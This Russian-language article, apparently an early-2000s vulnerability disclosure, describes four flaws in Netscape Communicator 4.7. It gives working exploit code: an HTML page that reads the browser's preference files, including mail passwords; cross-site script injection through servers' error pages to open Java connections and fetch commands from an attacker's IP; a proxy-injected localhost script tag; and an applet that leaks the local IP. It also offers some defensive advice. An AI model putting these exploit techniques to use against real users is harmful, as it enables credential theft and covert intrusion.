| ||||||||||||||||
 | ||||||||||||||||
| ||||||||||||||||
 | ||||||||||||||||
| ||||||||||||||||
|
|
"Безопасный" Netscape Communicator 4.7. Читаем чужие настройки, обходим ограничения Java ... Часть I Предисловие Netscape Communicator ( далее NC) не очень распространён в России ( в основном среди пользователей диалектов Unix), поэтому с относительно лёгким сердцем публикую случайно обнаруженные в разное время недоработки и частично, меры защиты. Насколько знаю, ранее эти ошибки не были известны, что косвенно подтверждается их наличием в последней версии Communicator'а. Все описанные здесь методы тестировались в NC 4.7x под Win NT, Win 95/98, но вероятно, будут работать и в других средах (Linux, Unix, MacOS), а также, более ранних версиях NC 4.X. Первая ошибка позволяет иногда прочитать настройки пользователя, включая логин и пароль почтовых систем, а также другую конфиденциальную информацию. К счастью от неё легко защититься. Вторая - позволяет обойти одно из двух фундаментальных ограничений языка Java: "Java-applet может обращаться только к адресу, с которого он загружен". Здесь пока поможет только отключение поддержки Java. Третья может позволить недоброму владельцу прокси-сервера получить доступ к локальным ресурсам Вашей машины. Четвертая - скорее особенность, чем ошибка NC позволяющая определить IP - адрес и сетевое имя в локальной сети машины, подключённой в Internet через прокси-сервер или маршрутизатор. 1. Верните мои настройки! Несколько небольших недоработок и особенностей системы совместно позволяют получить доступ к настройкам пользователя NC 4.7. включай логин'ы почтовых систем, список посещённых сайтов, конфигурации прокси-серверов и т.д. Первая недоработка ( неопасная сама по себе ) состоит в выборе каталога для хранения пользовательских данных (почты, кэша), вернее в лёгкости его определения. В WinXX каталог пользователя располагаются по адресу вида [путь_к_коммуникатору]/Users/[имя_пользователя]. Например, в моём случае было C:/Program Files/Netscape /Users/Default/. [Путь_к_коммуникатору] легко выяснить анализом переменной navigator.plugins[1].filename.( Да и так он вполне очевиден). Левая часть строки до "/Program/plugins" и есть требуемый путь. Осталось определить имя пользователя. Оно задаётся при первом запуске NC и если пользователь не заполнил необязательные поля формы(как делает 80% известных мне) будет ".../Users/Default"!!! В случае если, попался аккуратный юзер, имя каталога берётся из левой части почтового адреса до символа "@"!!! Например для Avkvladru@xxx.yy - .../Users/Avkvladru! В средах Юникс обычно еще проще - настройки располагаются в "домашних" каталогах пользователей ( root -например)! Настройки хранятся в файлах .../users/пользователь/liprefs.js и .../users/пользователь/prefs.js (почта ....../users/пользователь/mail/ или .../users/пользователь/ImapMail/ ). В принципе, ничего опасного в этом нет, т.к. считается, что в NC 4.7 читать файлы, даже зная их путь невозможно. Вторая недоработка (тоже сама по себе небольшая) связанна со структурой файлов настроек. Вот сокращённый пример:
>type liprefs.js
// Netscape User Preferences
// This is a generated file! Do not edit.
user_pref("autoupdate.confirm_install", true);
...
user_pref("browser.url_history.URL_1", "www.gazeta.ru/");
user_pref("browser.url_history.URL_2", "www.hackzone.ru/");
...
user_pref("mail.pop_name", "avkvladru");
user_pref("mail.pop_password", "...");
...
user_pref("network.proxy.http", "localhost");
user_pref("network.proxy.http_port", 80);
...
Напоминает код Javascrpt, не так ли? Действительно, .JS - это же стандартное расширение для файлов содержащих script ( подробнее смотрите "Сlient-Side JavaScript Guide v1.3." раздел II.9). Файл может быть вызван на исполнение тегом <script src=".../liprefs.js"> </script> Тем не менее, выполнить user_prefs( p1, p2 ) Вам не удастся. Консоль ошибок сообщит, что функция неопределенна. Причина ясна - нельзя позволять менять настойки пользователя. Но раз такой функции нет, мы вправе сами определить её для блока кода! ("Сlient-Side JavaScript Guide v1.3." разделы I.6, II.9, II.14 ) и вызвать файл инструкцией <script src=...>". Все настройки передадутся, как параметры вызываемой функции. Остаётся только сохранить их в глобальной переменной.
type Example1.html
<html>
<head>
<title>Example 1 (c) A.V. Komlin </title>
<SCRIPT LANGUAGE="JavaScript">
var pss="\n"
file://В pss будут записаны все настройки в формате параметр: значение
// Определяем функцию user_pref
function user_pref(n1,n2) {
pss+=(n1+":"+n2+" \n");
}
</script>
</head>
<body>
<script src="file:///C|/Program Files/Netscape/Users/default/liprefs.js">
// Вызываем файл настроек как код JavaScript
</script>
<script src="file:///C|/Program Files/Netscape/Users/default/prefs.js">
</script>
<SCRIPT LANGUAGE="JavaScript">
document.write(pss);
// можно вывести на экран, а можно и отослать куда-нибудь на сервер.
</script>
</body>
</html>
Даже такой простой эксплойт, выдаст администратору настройки значительной части пользователей NC зашедших на сайт. Нетрудно написать более общий, учитывающий тип ОС (из netscape.platform), имя диска/путь ( из navigator.plugins[1].filename), вероятное имя пользователя ( из java.InetAddress.getLocalHost().getHostName()). Впрочем, атакам такого рода чаще подвергаются конкретные пользователи, платформа и e-mail которых уже известен. В итоге, в наших руках оказывается весь файл настроек, и в частности, все почтовые настройки пользователя. В этом Вы можете легко убедиться, скопировав файлы liprefs.js, prefs.js к другому пользователю и спокойно прочитав свою почту. Да и другой интересной информации там немало. Защита от подобной атаки в WinXX достаточна проста: необходимо в процессе регистрации пользователя задать в графе E-mail address: случайное сочетание символов в левой части адреса (вида dfuhiuh@server.domen) и после окончания регистрации указать правильный почтовый адрес в разделе Identify почтовых настроек. Лучше всего, же не заходить на сомнительные Web-сервера. :-). Кстати, чтоб украсть настройки необязательно заводить собственный сервер. Вполне достаточно web-странички на бесплатном сервисе, а удобный способ скрытой отсылки результатов даёт следующая ошибка. 2. Java полностью безопасен ... когда отключен! Строго говоря эта ошибка - плод совместных усилий Netscape и некоторых серверов. Java, в отличие от JavaScript и VBScript, -полнофункциональный язык программирования c широким спектром возможностей работы с интернет-протоколами, поэтому на его применение в HTML-страницах и браузерах пришлось наложить ряд ограничений. Они реализуются комплексом мер безопасности, описанным в литературе, посвящённой Java ( там же, описаны последствия их обхода). В частности Java-апплет не может устанавливать соединения ни с каким Internet-адресом, кроме того, с которого он загружен ( далее CodeBase-адрес). В Netscape JavaScript, начиная с 1.3., добавили возможность напрямую обращаться к стандартным классам и функциям Java. ( "Сlient-Side JavaScript Guide v1.3." раздел III.). При этом все правила безопасности вроде бы полностью реализуются всё той-же виртуальной машиной Java, CodeBase-сервером считается сервер с которого загружен HTML или JS - файл. Проще говоря, код script, реализующий вызовы Java, сам считается апплетом.
Всё бы хорошо, но ряд серверов не так уж трудно заставить сгенерировать
требуемый нам JavaScript-код! Не верите, да? Обратитесь к любому серверу с
требованием несуществующего ресурса, например www.server.xy/quququ. Скорее
всего в ответ придёт HTML-файл c текстом вида "quququ not found". А если
вместо имени ресурса написать скрипт, например
www.hackzone.ru/<script>alert(window.location)</script> ? ;-) Вот вам и нужный
CodeBase. Впрочем, если не нужны низкоуровневые протоколы (TCP, ICMP, UDP)
достаточно из множества серверов, пропускающих подобный трюк, найти
один-единственный proxy-сервер ( mail, news- в зависимости от задачи) с
поддержкой нескольких интернет-протоколов, тогда мы получим доступ ко всем
соответствующим службам интернет с одного единственного апплета! Пользователь,
запустивший этот код, сам становиться невольным промежуточным сервером,
обеспечивая злоумышленнику анонимность или доступ к закрытым извне ресурсам.
(И зачем теперь нужны SYN-атаки?) Вот конкретный пример
В сгенерированной в ответ строке выполнится написанный javascript. CodeBase
для возможных вызовов Java будет законно считаться cache.marine.su
Конечно, написать сколько-нибудь большую java-программу в URL-строке
проблематично. Да и ненужно. Достаточно внести в неё оператор write,
выводящий глобальную переменную,
----------------------------------------------------
>type index.html
<html>
<head>
<title> Example2. Main file(c) A.V. Komlin </title>
<SCRIPT LANGUAGE="JavaScript">
// Записываем в глобальную переменную апплет, связвывающийся с прокси
var q1="<script> alert(window.location);"+
"var myURL=new java.net.URL("+'"'+"http://cache.marine.su"+' " '+");"+
" var myUC=myURL.openConnection();"+
" var DIS=new java.io.DataInputStream(myURL.openStream());"+
" alert(DIS.readLine());"+
"var mySock=new java.net.Socket("+'"'+"cache.marine.su"+'"'+",3128);"+
" </"+"script>";
export q1;
// Мета-тег, обеспечивает загрузку следующей порции команд через 5 сек.
</script>
<META HTTP-EQUIV="Refresh" CONTENT="5;URL=next_command.html">
</head>
<FRAMESET COLS="100%,*">
<FRAME SRC="zastavka.html" NAME="w2">
<FRAME SRC="http://cache.marine.su/<script>document.write(parent.q1)</script>"
NAME="w1">
</FRAMESET>
</html>
Фрейм -индекс 2 -невидимый, его задача- послать строку Пример устанавливает HTTP и TCP-соединения(порт 3128 - управляющий) с прокси-сервером, и читает с него ответную строку. Следующая порция команд придёт через пять секунд. Кстати, серверу необязательно быть общедоступным. Достаточно, если работа с ним будет разрешена атакуемой машине. Это особенно актуально, когда атака ведётся на локального пользователя сети подключённой к интернет через маршрутизатор и прокси-сервер. Атакующему также, не обязательно владеть сервером: var p1=""; ... <META HTTP-EQUIV="Refresh" ...> ... <FRAMESET COLS="100%,*"> <FRAME SRC="zastavka.html" NAME="w2"> <FRAME SRC="http://nnn.nnn.nnn.nnn:port/" name="w3" > <FRAME SRC="http://hackzone.ru/<script>document.write(parent.q1)</script>" NAME="w1"> </FRAMESET> , где http://nnn.nnn.nnn.nnn:port/ - ip-адрес атакующего , с небольшой програмкой на порту "port" отвещающей на запросы, что-то вроде: "<html> <script> parent.q1=команды </script> Словом, целей и способов применения для этого бага предостаточно. Защиты мне на сегодня неизвестно. Если кто знает, подскажите. Пока, приходится отключать поддержку Java. 3. Прокси наносят ответный удар. Владельцы прокси могут поиздеваться над пользователями и своими силами. :). Эта ошибка связана с различной трактовкой адреса localhost [127.0.0.1] в браузере и виртуальной машине Java. Если Вы настроите браузер на работу через HTTP-proxy и введёте в URL-строке localhost то NC выдаст содержимое корневого каталога сервера. JVM же по-прежнему будет считать, что localhost - это адрес вашей машины. Таким образом, достаточно прокси-серверу вставить в любой загружаемый HTML-файл строку тег вида
< script src=http://localhost/atck.js>
или
<applet
code=atck.class
name=second
codebase=http://localhost/
width=0
height=0 >
</applet>
и на машине пользователя начнётся выполнение кода с правами локального. Так что при работе с малоизвестными серверами Java лучше тоже отключить, тем более, что его наличие лишает вас анонимности.
-----------------------------------------------------
public void paint(Graphics g)
{ try {
InetAddress adr = InetAddress.getLocalHost();
byte [] iadr =adr.getAddress();
g.drawString(adr.getHostName(), 10, 30);
g.drawString("f"+(iadr[0]&0xff)+"."+(iadr[1]&0xff)+"."+(iadr[2]&0xff)+"."+(iadr[3]&0xff),
10, 40);
} catch (Exception e) {
g.drawString("Error", 10, 10);
}
}
-----------------------------------------------------
Этот фрагмент апплета в NC выводит на экран имя и IP адрес Вашей машины в локальной сети, если Вы к ней подключены, в противном случае - адрес в сети Internet. Заключение Три из отмеченных ошибок (1-я, третья и четвёртая) могут быть легко устранены
разработчиками Netscape. Устранение второй ошибки потребует вероятно потребует
внесения изменений в структуру и средства безопасности Javascript и Java. Да и
владельцам серверов не мешало бы позаботиться и усложнить жизнь потенциальным
взломщикам. Впрочем, это уже утопия.
[Вперед] |
|
|
| ||||||||||||||||
| ||||||||||||||||
| ||||||||||||||||
|